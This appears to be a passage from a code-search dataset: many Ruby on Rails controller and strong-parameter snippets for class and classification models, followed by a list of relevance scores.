"def create\n @classification = Classification.new(classification_params)\n\n respond_to do |format|\n if @classification.save\n format.html { redirect_to @classification, notice: t('controller.successfully_created', model: t('activerecord.models.classification')) }\n format.json { render json: @classification, status: :created, location: @classification }\n else\n @classification_types = ClassificationType.all\n format.html { render action: \"new\" }\n format.json { render json: @classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classifications(classification)\n params = {\n classification: classification\n }.compact\n\n _get(\"/account/classifications\", params) { |json| json }\n end",
"def create\n @classified = Classified.new(classified_params)\n respond_to do |format|\n if @classified.save\n format.html { redirect_to @classified, notice: 'Classified was successfully created.' }\n format.json { render :show, status: :created, location: @classified }\n else\n format.html { render :new }\n format.json { render json: @classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clasificacion = Clasificacion.new(params[:clasificacion])\n\n respond_to do |format|\n if @clasificacion.save\n format.html { redirect_to(@clasificacion, :notice => 'Clasificacion was successfully created.') }\n format.xml { render :xml => @clasificacion, :status => :created, :location => @clasificacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @clasificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @classication = Classication.new(classication_params)\n\n respond_to do |format|\n if @classication.save\n format.html { redirect_to @classication, notice: 'Classication was successfully created.' }\n format.json { render :show, status: :created, location: @classication }\n else\n format.html { render :new }\n format.json { render json: @classication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_clasification\n @clasification = Clasification.find(params[:id])\n end",
"def create\n @class = Classe.new(params[:class])\n\n respond_to do |format|\n if @class.save\n format.html { redirect_to @class, notice: 'Classe was successfully created.' }\n format.json { render json: @class, status: :created, location: @class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clasification.update(clasification_params)\n format.html { redirect_to @clasification, notice: \"Clasification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @clasification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end",
"def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classname = Classname.new(classname_params)\n\n respond_to do |format|\n if @classname.save\n format.html { redirect_to @classname, notice: 'Classname was successfully created.' }\n format.json { render :show, status: :created, location: @classname }\n else\n format.html { render :new }\n format.json { render json: @classname.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classifier = Classifier.new(classifier_params)\n\n respond_to do |format|\n if @classifier.save\n format.html { redirect_to @classifier, notice: 'Classifier was successfully created.' }\n format.json { render :show, status: :created, location: @classifier }\n else\n format.html { render :new }\n format.json { render json: @classifier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classs_params\n params.require(:classs).permit(:name, :major_id)\n end",
"def create\n @project_classification = ProjectClassification.new(project_classification_params)\n\n respond_to do |format|\n if @project_classification.save\n format.html { redirect_to project_classifications_path, notice: 'Project classification was successfully created.' }\n format.json { render :show, status: :created, location: @project_classification }\n else\n format.html { render :new }\n format.json { render json: @project_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classification_params\n params.require(:classification).permit(:company_id, :text, :category)\n end",
"def index\n @clasifications = Clasification.all\n end",
"def create\n @clasificacion_pegi = ClasificacionPegi.new(params[:clasificacion_pegi])\n\n respond_to do |format|\n if @clasificacion_pegi.save\n format.html { redirect_to @clasificacion_pegi, notice: 'Clasificacion pegi was successfully created.' }\n format.json { render json: @clasificacion_pegi, status: :created, location: @clasificacion_pegi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clasificacion_pegi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_class = TestClass.new(params[:test_class])\n\n respond_to do |format|\n if @test_class.save\n format.html { redirect_to @test_class, notice: 'Test class was successfully created.' }\n format.json { render json: @test_class, status: :created, location: @test_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @business_classification = BusinessClassification.new(business_classification_params)\n\n respond_to do |format|\n if @business_classification.save\n format.html { redirect_to @business_classification, notice: 'Business classification was successfully created.' }\n format.json { render :show, status: :created, location: @business_classification }\n else\n format.html { render :new }\n format.json { render json: @business_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clclass = Clclass.new(params[:clclass])\n\n respond_to do |format|\n if @clclass.save\n format.html { redirect_to @clclass, notice: 'Clclass was successfully created.' }\n format.json { render json: @clclass, status: :created, location: @clclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@classified = Classified.new(classified_params)\n @classified = current_user.classifieds.new(classified_params)\n\n respond_to do |format|\n if @classified.save\n format.html { redirect_to @classified, notice: 'Classified was successfully created.' }\n format.json { render :show, status: :created, location: @classified }\n else\n format.html { render :new }\n format.json { render json: @classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category_classified = CategoryClassified.new(category_classified_params)\n\n respond_to do |format|\n if @category_classified.save\n format.html { redirect_to @category_classified, notice: 'Category classified was successfully created.' }\n format.json { render :show, status: :created, location: @category_classified }\n else\n format.html { render :new }\n format.json { render json: @category_classified.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classication_params\n params.require(:classication).permit(:number, :category)\n end",
"def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end",
"def create\n @subclass = Subclass.new(subclass_params)\n\n respond_to do |format|\n if @subclass.save\n format.html { redirect_to @subclass, notice: 'Subclass was successfully created.' }\n format.json { render :show, status: :created, location: @subclass }\n else\n format.html { render :new }\n format.json { render json: @subclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item_classification = ItemClassification.new(item_classification_params)\n\n respond_to do |format|\n if @item_classification.save\n format.html { redirect_to @item_classification, notice: 'Classificação criada com sucesso.' }\n format.json { render :show, status: :created, location: @item_classification }\n else\n format.html { render :new }\n format.json { render json: @item_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @risk_classification = RiskClassification.new(params[:risk_classification])\n\n respond_to do |format|\n if @risk_classification.save\n format.html { redirect_to @risk_classification, notice: 'Risk classification was successfully created.' }\n format.json { render json: @risk_classification, status: :created, location: @risk_classification }\n else\n format.html { render action: \"new\" }\n format.json { render json: @risk_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @registration_klass = @school.registration_klasses.build(registration_klass_params)\n\n respond_to do |format|\n if @registration_klass.save\n format.html { redirect_to [@school, @registration_klass], notice: 'Class was successfully created.' }\n format.json { render :show, status: :created, location: @registration_klass }\n format.js { }\n else\n format.html { render :new }\n format.json { render json: @registration_klass.errors, status: :unprocessable_entity }\n format.js { render layout: false, content_type: 'text/javascript' }\n end\n end\n end",
"def create\n @class_detail = ClassDetail.new(class_detail_params)\n\n respond_to do |format|\n if @class_detail.save\n format.html { redirect_to class_details_path, notice: 'Class detail was successfully created.' }\n format.json { render :show, status: :created, location: @class_detail }\n else\n format.html { render :new }\n format.json { render json: @class_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def classname_params\n params.require(:classname).permit(:classname)\n end",
"def create\n @data_class = DataClass.new(data_class_params)\n\n respond_to do |format|\n if @data_class.save\n format.html { redirect_to @data_class, notice: 'Data class was successfully created.' }\n format.json { render :show, status: :created, location: @data_class }\n else\n format.html { render :new }\n format.json { render json: @data_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @myclass = Myclass.new(params[:myclass])\n\n respond_to do |format|\n if @myclass.save\n format.html { redirect_to @myclass, notice: 'Myclass was successfully created.' }\n format.json { render json: @myclass, status: :created, location: @myclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @myclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @citizenship_class = @grantee.citizenship_classes.new(params[:citizenship_class])\n\n respond_to do |format|\n if @citizenship_class.save\n format.html { redirect_to [@grantee, @citizenship_class], notice: 'Citizenship class was successfully created.' }\n format.json { render json: @citizenship_class, status: :created, location: @citizenship_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @citizenship_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_type = ClassType.new(class_type_params)\n\n respond_to do |format|\n if @class_type.save\n format.html { redirect_to class_types_path, notice: 'Class type was successfully created.' }\n format.json { render :show, status: :created, location: @class_type }\n format.js\n else\n format.html { render :new }\n format.json { render json: @class_type.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @user_class = UserClass.new(params[:user_class])\n\n respond_to do |format|\n if @user_class.save\n format.html { redirect_to @user_class, notice: 'User class was successfully created.' }\n format.json { render json: @user_class, status: :created, location: @user_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classessection = Classessection.new(classessection_params)\n\n respond_to do |format|\n if @classessection.save\n format.html { redirect_to @classessection, notice: 'Classessection was successfully created.' }\n format.json { render :show, status: :created, location: @classessection }\n else\n format.html { render :new }\n format.json { render json: @classessection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classwork = Classwork.new(classwork_params)\n\n respond_to do |format|\n if @classwork.save\n format.html { redirect_to @classwork, notice: 'Classwork was successfully created.' }\n format.json { render action: 'show', status: :created, location: @classwork }\n else\n format.html { render action: 'new' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classment = Classment.new(classment_params)\n\n respond_to do |format|\n if @classment.save\n format.html { redirect_to @classment, notice: 'Classment was successfully created.' }\n format.json { render :show, status: :created, location: @classment }\n else\n format.html { render :new }\n format.json { render json: @classment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end",
"def classified_params\n params.require(:classified).permit(\n :id,\n :title,\n :document_type,\n :document_number,\n :seller_name,\n :email,\n :landline,\n :cell_phone,\n :description,\n :price,\n :user_id,\n :bonded,\n :classified_conditional\n )\n end",
"def create\n @clazz = current_user.clazzs.build(params[:clazz])\n\n respond_to do |format|\n if @clazz.save\n @clazz_amt = current_user.clazzs.size - 1\n format.html { redirect_to(@clazz, :notice => 'class created.') } \n format.js\n else\n @clazz_amt = \"error\"\n format.html { render :action => \"new\" } \n #format.json { render json: @clazz.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @class_taken = ClassTaken.new(params[:class_taken])\n\n respond_to do |format|\n if @class_taken.save\n format.html { redirect_to @class_taken, notice: 'Class taken was successfully created.' }\n format.json { render json: @class_taken, status: :created, location: @class_taken }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_taken.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classe = Classe.new(params[:classe])\n\n respond_to do |format|\n if @classe.save\n format.html { redirect_to @classe, notice: 'Classe was successfully created.' }\n format.json { render json: @classe, status: :created, location: @classe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @s_class = SClass.new(s_class_params)\n\n respond_to do |format|\n if @s_class.save\n format.html { redirect_to @s_class, notice: 'S class was successfully created.' }\n format.json { render :show, status: :created, location: @s_class }\n else\n format.html { render :new }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @taxon_name_classification = TaxonNameClassification.new(taxon_name_classification_params)\n\n respond_to do |format|\n if @taxon_name_classification.save\n format.html { redirect_to @taxon_name_classification.taxon_name.metamorphosize, notice: 'Taxon name classification was successfully created.' }\n format.json { render json: @taxon_name_classification, status: :created, location: @taxon_name_classification.metamorphosize }\n else\n format.html { redirect_to :back, notice: 'Taxon name classification was NOT successfully created.' }\n format.json { render json: @taxon_name_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_test = ClassTest.new(class_test_params)\n @class_test.school_branch = current_school_branch\n @class_test.creator = current_teacher || current_entity\n\n respond_to do |format|\n if @class_test.save\n format.html { redirect_to @class_test, notice: 'Class test was successfully created.' }\n format.json { render :show, status: :created, location: @class_test }\n else\n format.html { render :new }\n format.json { render json: @class_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @discipline_class_exam_type = DisciplineClassExamType.new(params[:discipline_class_exam_type])\n\n respond_to do |format|\n if @discipline_class_exam_type.save\n format.html { redirect_to @discipline_class_exam_type, :notice => 'Tipo de Exame de Classe de Disciplina criada com sucesso.' }\n format.json { render :json => @discipline_class_exam_type, :status => :created, :location => @discipline_class_exam_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @discipline_class_exam_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def recipe_classify_params\n params.require(:recipe_classify).permit(:name, :recipe_classify_id)\n end",
"def create\n @detail_class = DetailClass.new(detail_class_params)\n\n respond_to do |format|\n if @detail_class.save\n format.html { redirect_to @detail_class, notice: 'Detail class was successfully created.' }\n format.json { render :show, status: :created, location: @detail_class }\n else\n format.html { render :new }\n format.json { render json: @detail_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @occupationclassification = Occupationclassification.new(params[:occupationclassification])\n\n respond_to do |format|\n if @occupationclassification.save\n flash[:success] = \"Occupation classification was successfully created.\"\n format.html { redirect_to @occupationclassification }\n format.xml { render :xml => @occupationclassification, :status => :created, :location => @occupationclassification }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @occupationclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @klass = Klass.new(params[:klass])\n\n respond_to do |format|\n if @klass.save\n flash[:notice] = 'Klass was successfully created.'\n format.html { redirect_to(@klass) }\n format.xml { render :xml => @klass, :status => :created, :location => @klass }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @klass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @klass = Klass.new(klass_params)\n respond_to do |format|\n if @klass.save\n format.html { redirect_to management_klasses_path }\n format.json { render :json => @klass.to_json(include: :period), status: :created }\n else\n format.html { render :new }\n format.json { render json: @klass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_class = StudentClass.new(student_class_params)\n\n respond_to do |format|\n if @student_class.save\n format.html { redirect_to @student_class, notice: \"Student class was successfully created.\" }\n format.json { render :show, status: :created, location: @student_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @food_class = FoodClass.new(food_class_params)\n\n respond_to do |format|\n if @food_class.save\n format.html { redirect_to @food_class, notice: 'Food class was successfully created.' }\n format.json { render :show, status: :created, location: @food_class }\n else\n format.html { render :new }\n format.json { render json: @food_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_class = UserClass.new(user_class_params)\n\n respond_to do |format|\n if @user_class.save\n format.html { redirect_to @user_class, notice: 'User class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_mapping = ClassMapping.new(class_mapping_params)\n\n respond_to do |format|\n if @class_mapping.save\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully created.' }\n format.json { render :show, status: :created, location: @class_mapping }\n else\n format.html { render :new }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @education_class = EducationClass.new(education_class_params)\n\n respond_to do |format|\n if @education_class.save\n format.html { redirect_to @education_class, notice: 'Education class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @education_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @education_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @classtable = Classtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classtable }\n end\n end",
"def create\n @classification_code = ClassificationCode.new(classification_code_params)\n\n respond_to do |format|\n if @classification_code.save\n format.html { redirect_to @classification_code, notice: 'Classification code was successfully created.' }\n format.json { render action: 'show', status: :created, location: @classification_code }\n else\n format.html { render action: 'new' }\n format.json { render json: @classification_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"def registration_klass_params\n params.require(:registration_klass).permit(:name, :school_id,\n :course_id, :year, :tipe, :course_name, :slug,\n { data: [:group_type, :sport_type, :more_information] },\n { user_ids: [] })\n end",
"def create\n @biocuration_classification = BiocurationClassification.new(biocuration_classification_params)\n\n respond_to do |format|\n if @biocuration_classification.save\n format.html { redirect_to :back, notice: 'Biocuration classification was successfully created.' }\n format.json { render json: @biocuration_classification, status: :created, location: @biocuration_classification }\n else\n format.html { redirect_to :back, notice: 'Biocuration classification was NOT successfully created.' }\n format.json { render json: @biocuration_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def traitclass_params\n params.require(:traitclass).permit(:user_id, :class_name, :class_notes, :contextual)\n end",
"def classification(query, set=nil)\n is_valid_with_error(__method__, [:ipv4, :domain], query)\n if domain?(query)\n query = normalize_domain(query)\n end\n if set.nil?\n get('actions/classification', {'query' => query})\n else\n is_valid_with_error(__method__.to_s, [:classification], set)\n post('actions/classification', { 'query' => query, 'classification' => set })\n end\n end",
"def create\n @subject_class = SubjectClass.new(subject_class_params)\n\n respond_to do |format|\n if @subject_class.save\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subject_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addClassifications(filename)\n\t# open the file with classifications\n\tclassificationTypes = File.open(Rails.root.join(\"db\", \"seed_data\", filename))\n\t# Each line of the file contains a classification description. Iterate through the file and create a classification for each line.\n\tclassificationTypes.each do |curClassificationType|\n\t\tClassification.find_or_create_by({ :classification_description => curClassificationType.strip })\n\tend\nend",
"def education_class_params\n params.require(:education_class).permit(:class_name, :class_type, :class_keywords, :class_date_start, :class_date_end, :class_time_start, :class_time_end, :class_worth, :reps_id, :class_category, :class_url)\n end",
"def data_class_params\n params.require(:data_class).permit(:name)\n end",
"def classification\n classifications = @data[\"spData\"][\"classifications\"]\n if classifications.empty?\n raise Holdings::Error, NO_CLASSIFICATIONS_ERROR\n end\n Classification.new(classifications.first)\n end",
"def create\n @entity = @klass.new(params[@klass.table_name.singularize])\n\n respond_to do |format|\n if @entity.save\n format.html { redirect_to admin_entity_url(entity: @klass_path, id: @entity.id), notice: \"#{@klass.model_name.capitalize} was successfully created.\" }\n format.json { render json: @entity, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classroom = Classroom.new(classroom_params)\n respond_to do |format|\n if @classroom.save\n format.html { redirect_to classrooms_url, notice: t('.notice', name: @classroom.name) }\n format.json { render :show, status: :created, location: @classroom }\n else\n format.html { render :new }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @teacher_class = TeacherClass.new(teacher_class_params)\n\n respond_to do |format|\n if @teacher_class.save\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @teacher_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ark_class_params\n params.require(:ark_class).permit(:name, :classtype, :description)\n end",
"def independent_class_data_params\n params.require(:independent_class_data).permit(:lecture_id, :class_type, :section, :course_id, :title, :major, :major_code, :term, :description, :days, :start_time, :end_time, :location, :units, :instructor, :final_examination_date, :final_examination_day, :final_examination_time, :grade_type, :restrictions, :impacted_class, :level, :text_book_url, :url)\n end",
"def create\n @staffclassification = Staffclassification.new(params[:staffclassification])\n\n respond_to do |format|\n if @staffclassification.save\n flash[:notice] = 'Staffclassification was successfully created.'\n format.html { redirect_to(@staffclassification) }\n format.xml { render :xml => @staffclassification, :status => :created, :location => @staffclassification }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @staffclassification.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def gg_classlist_params\n params.require(:gg_classlist).permit(:classname)\n end",
"def create\n @iclass = Iclass.new(params[:iclass])\n\n respond_to do |format|\n if @iclass.save\n format.html { redirect_to @iclass, :notice => 'Iclass was successfully created.' }\n format.json { render :json => @iclass, :status => :created, :location => @iclass }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @iclass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @class_page = ClassPage.new(class_page_params)\n\n respond_to do |format|\n if @class_page.save\n format.html { redirect_to @class_page, notice: 'Class page was successfully created.' }\n format.json { render :show, status: :created, location: @class_page }\n else\n format.html { render :new }\n format.json { render json: @class_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_room = ClassRoom.new(params[:class_room])\n respond_to do |format|\n if @class_room.save\n format.html { redirect_to @class_room, notice: 'Academic class was successfully created.' }\n format.json { render json: @class_room, status: :created, location: @class_room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @crew_class = CrewClass.new(crew_class_params)\n\n respond_to do |format|\n if @crew_class.save\n format.html { redirect_to @crew_class, notice: 'Crew class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @crew_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @crew_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def class_detail_params\n params.require(:class_detail).permit(:class_name, :description)\n end",
"def class_json\n clazz = @offering.clazz\n section = clazz.section && clazz.section.length > 0 ? clazz.section : nil\n section = section ? \" (#{section})\" : \"\"\n {\n name: clazz.name + section,\n students: @students\n .sort_by { |s| \"#{s.last_name} #{s.first_name}\".downcase }\n .map { |s| student_json(s) }\n }\n end",
"def destroy\n @clasification.destroy\n respond_to do |format|\n format.html { redirect_to clasifications_url, notice: \"Clasification was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def create\n @schoolclass = Schoolclass.new(params[:schoolclass])\n\n respond_to do |format|\n if @schoolclass.save\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' }\n format.json { render json: @schoolclass, status: :created, location: @schoolclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dependent_class_data_params\n params.require(:dependent_class_data).permit(:class_id, :lecture_id, :class_type, :section, :course_id, :title, :major, :major_code, :term, :days, :start_time, :end_time, :location, :instructor, :url)\n end",
"def create\n @classtable = Classtable.new(params[:classtable])\n\t#@classtable.school_id = current_school_id\n\t@classtable.school_id = $current_school_id\n respond_to do |format|\n if @classtable.save\n format.html { redirect_to @classtable, notice: 'Classtable was successfully created.' }\n format.json { render json: @classtable, status: :created, location: @classtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class = Class.new(params[:class])\n\n respond_to do |format|\n if @class.save\n flash[:notice] = 'Class was successfully created.'\n format.html { redirect_to(@class) }\n format.xml { render :xml => @class, :status => :created, :location => @class }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @class.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @school_class = SchoolClass.new(school_class_params)\n\n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_classes_path, notice: 'School class was successfully created.' }\n format.json { render :show, status: :created, location: @school_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rateclass = Rateclass.new(rateclass_params)\n\n respond_to do |format|\n if @rateclass.save\n format.html { redirect_to rateclasses_path, notice: 'Clase de elemento creada exitosamente' }\n format.json { render :show, status: :created, location: @rateclass }\n\n else\n format.html { render :new }\n format.json { render json: @rateclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend",
"def create\n @classified_person = ClassifiedPerson.new(params[:classified_person])\n\n respond_to do |format|\n if @classified_person.save\n flash[:notice] = 'ClassifiedPerson was successfully created.'\n format.html { redirect_to(@classified_person) }\n format.xml { render :xml => @classified_person, :status => :created, :location => @classified_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @classified_person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_class = VehicleClass.new(params[:vehicle_class])\n\n respond_to do |format|\n if @vehicle_class.save\n format.html { redirect_to @vehicle_class, notice: 'Vehicle class was successfully created.' }\n format.json { render json: @vehicle_class, status: :created, location: @vehicle_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vehicle_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classificacao = Classificacao.new(classificacao_params)\n\n respond_to do |format|\n if @classificacao.save\n format.html { redirect_to @classificacao, notice: 'Classificacao was successfully created.' }\n format.json { render :show, status: :created, location: @classificacao }\n else\n format.html { render :new }\n format.json { render json: @classificacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @clasificacion_pegi = ClasificacionPegi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clasificacion_pegi }\n end\n end",
"def create\n @trainclass = Trainclass.new(trainclass_params)\n\n respond_to do |format|\n if @trainclass.save\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully created.' }\n format.json { render :show, status: :created, location: @trainclass }\n else\n format.html { render :new }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_classify = ProductClassify.new(product_classify_params)\n\n respond_to do |format|\n if @product_classify.save\n format.html { redirect_to :product_classifies, notice: '产品分类添加成功。' }\n format.json { render :show, status: :created, location: @product_classify }\n else\n format.html { render :new }\n format.json { render json: @product_classify.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @apex_class = ApexClass.new(apex_class_params)\n\n respond_to do |format|\n if @apex_class.save\n format.html { redirect_to @apex_class, notice: 'Apex class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @apex_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @apex_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @class_detail = ClassDetail.new(params[:class_detail])\n\n respond_to do |format|\n if @class_detail.save\n flash[:notice]=\"class name #{@class_detail.classname} Created\"\n format.html { redirect_to(:controller =>\"admin_people\",:action =>\"index\") }\n format.xml { render :xml => @class_detail, :status => :created, :location => @class_detail }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @class_detail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end"
] |
[
"0.69274217",
"0.6877386",
"0.64458674",
"0.63242775",
"0.63035417",
"0.6214275",
"0.62128997",
"0.619138",
"0.61775076",
"0.6161782",
"0.6152889",
"0.6144488",
"0.6135515",
"0.6110071",
"0.6085759",
"0.60156703",
"0.59860504",
"0.5980081",
"0.5960773",
"0.5891116",
"0.58645684",
"0.5857124",
"0.5853836",
"0.58424646",
"0.58280706",
"0.5825137",
"0.5812657",
"0.5809182",
"0.57992965",
"0.57779443",
"0.5777108",
"0.57735276",
"0.57463735",
"0.57443047",
"0.5740793",
"0.5719738",
"0.5679866",
"0.5674874",
"0.56605333",
"0.56349826",
"0.56337136",
"0.5630533",
"0.562591",
"0.5605992",
"0.5599985",
"0.5599766",
"0.55844903",
"0.5583815",
"0.5566977",
"0.55533814",
"0.5546739",
"0.55433196",
"0.5537834",
"0.55265385",
"0.55256087",
"0.5522579",
"0.55197287",
"0.5518885",
"0.55176365",
"0.55098015",
"0.547883",
"0.54765034",
"0.5474821",
"0.5456944",
"0.54443717",
"0.5425691",
"0.5424349",
"0.54230493",
"0.54210645",
"0.5416139",
"0.54157996",
"0.54134464",
"0.541214",
"0.54038733",
"0.5402363",
"0.54019105",
"0.5400673",
"0.5396539",
"0.539332",
"0.5382209",
"0.53814936",
"0.5378203",
"0.53776234",
"0.537759",
"0.53770846",
"0.53628546",
"0.5360241",
"0.53460693",
"0.5344308",
"0.5337152",
"0.5326748",
"0.53218323",
"0.5321505",
